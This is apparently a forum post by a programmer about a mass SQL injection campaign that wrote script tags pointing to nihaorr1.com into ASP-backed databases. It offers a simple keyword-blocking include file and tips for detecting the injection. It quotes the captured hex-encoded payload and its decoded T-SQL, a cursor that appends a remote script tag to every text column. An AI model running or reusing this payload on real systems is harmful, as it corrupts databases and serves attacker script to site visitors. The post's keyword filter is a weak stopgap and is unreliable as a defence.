I want to follow up on all the controversy and theories regarding the massive ongoing iframe injections pointing to domains such as nmidahena.com, aspder.com and more recently: nihaorr1.com
My intention is to focus a little on the facts rather than amplify the ongoing rumours and theories since this is causing frustrated webmasters to attempt hundreds of different methods to avoid these attacks with no luck.
The attacks appear to come from China in relation to the public movements in order to boicot China’s Olympic Games.
To answer the question whether this attack might be using more complex methods beyond just a simple sql injection, the answer is yes and no.
The injection appears to be VERY SIMPLE. It does not need to be an ASP page containing a form. Last week we cleaned and patched up more than 10 websites affected by these attacks and 8 of them had been injected through the querystring of a simple "select" page. No forms or update statements existed on the pages from where the injection was entering.
However, the command being executed is fairly complex in itself.
I'm saying this because many webmasters are going mad patching up sensitive forms, restricting session id's etc.. only to get attacked again and again.
You will indeed need to strengthen your code the sooner the better, but in this particular case consider the following for a temporary solution:
Create an include file with something like this:
<%
if instr(lcase(sql),";--")>0 then
response.redirect("index.asp")
end if
if instr(lcase(sql),"nvarchar")>0 then
response.redirect("index.asp")
end if
%>
Call it, forexample, Validator.asp and put it right before your select statements are executed:
<!--#include file="validator.asp"-->
rs.Open sql
This will not permit some of the key words required to execute this command to take place and therefore the malicious Exec will not be allowed.
Ofcourse you have to discover which pages are being used to inject this code.
Most likely it is not a page that requires a member session to be viewed since the spiders are attacking pages that are cached in Google.
Is there a tool or a mechanism to find it?
The best way to discover when and where the attack is taking place is by running, forexample, SQL Server Profiler.
Set it to record only Exec commands and when the injection happens it will show up and should reflect something like this:
SELECT Musicas.Artistas, Musicas.Titles, Musicas.Formatos, Musicas.MemIDs, Musicas.Enlsae, Mem.Statesa, Mem.Cities, Mem.Paises, Mem.Users FROM Musicas, Mem Where Musicas.Titles = 'acb;DECLARE @S NVARCHAR(4000);SET @S=CAST0x440045000043005500520053004F005200200046004F0050020004600450054004300480020004E00450058005400
2000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400
054002C0040004300200057280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00
270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E0
06900680061006F00720010062006C0065005F0043007500720073006F007200
AS NVARCHAR(4000));EXEC(@S);--' And Mem.ID = Musicas.MemIDs ORDER BY Mem.Fealogs DESC
Once you run the statement through the descrypter you'll get something like this:
DECLARE @T varchar(255)'@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar'['+@C+']))+''<script src=nihaorr1.com/1.js></script>''')FETCH NEXT FROM Table_Cursor INTO @T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
This shows how the nihaorr1.com domain is being used by the script to harrass the users that visit your page where the script is executed.
You can also see from the above command that the Exec will try to inject every table in your database which can contain varchar type.
This is a very annoying attack since the spiders appear to be running in a circle on constant autopilot. However, don't go about thinking that this is as bad as it gets because the Exec command could easily have been programmed to delete your tables and even drop tables if the external users are configured to have such rights.
I'm saying this to put a rush on everyone affected by these attacks and to get their sites fixed up as soon as possible.
These attacks may just be a pre-warning, and if the attackers alter the code to make it delete and drop instead, then we'll be facing much bigger problems.
Forget about wasting time and money on expensive antivirus and firewall solutions. They cannot do anything against SQL injection attacks and it is a common practice around forums to try and give people a false sense of security by pasting links to different software companies. These attacks are happening where there's vulnerable ASP code and no expensive software can prevent or "clean" this.
Feel free to contact me and I'll do my best to get back to you.
Regards,
Nicolai Hertz
Software Programmer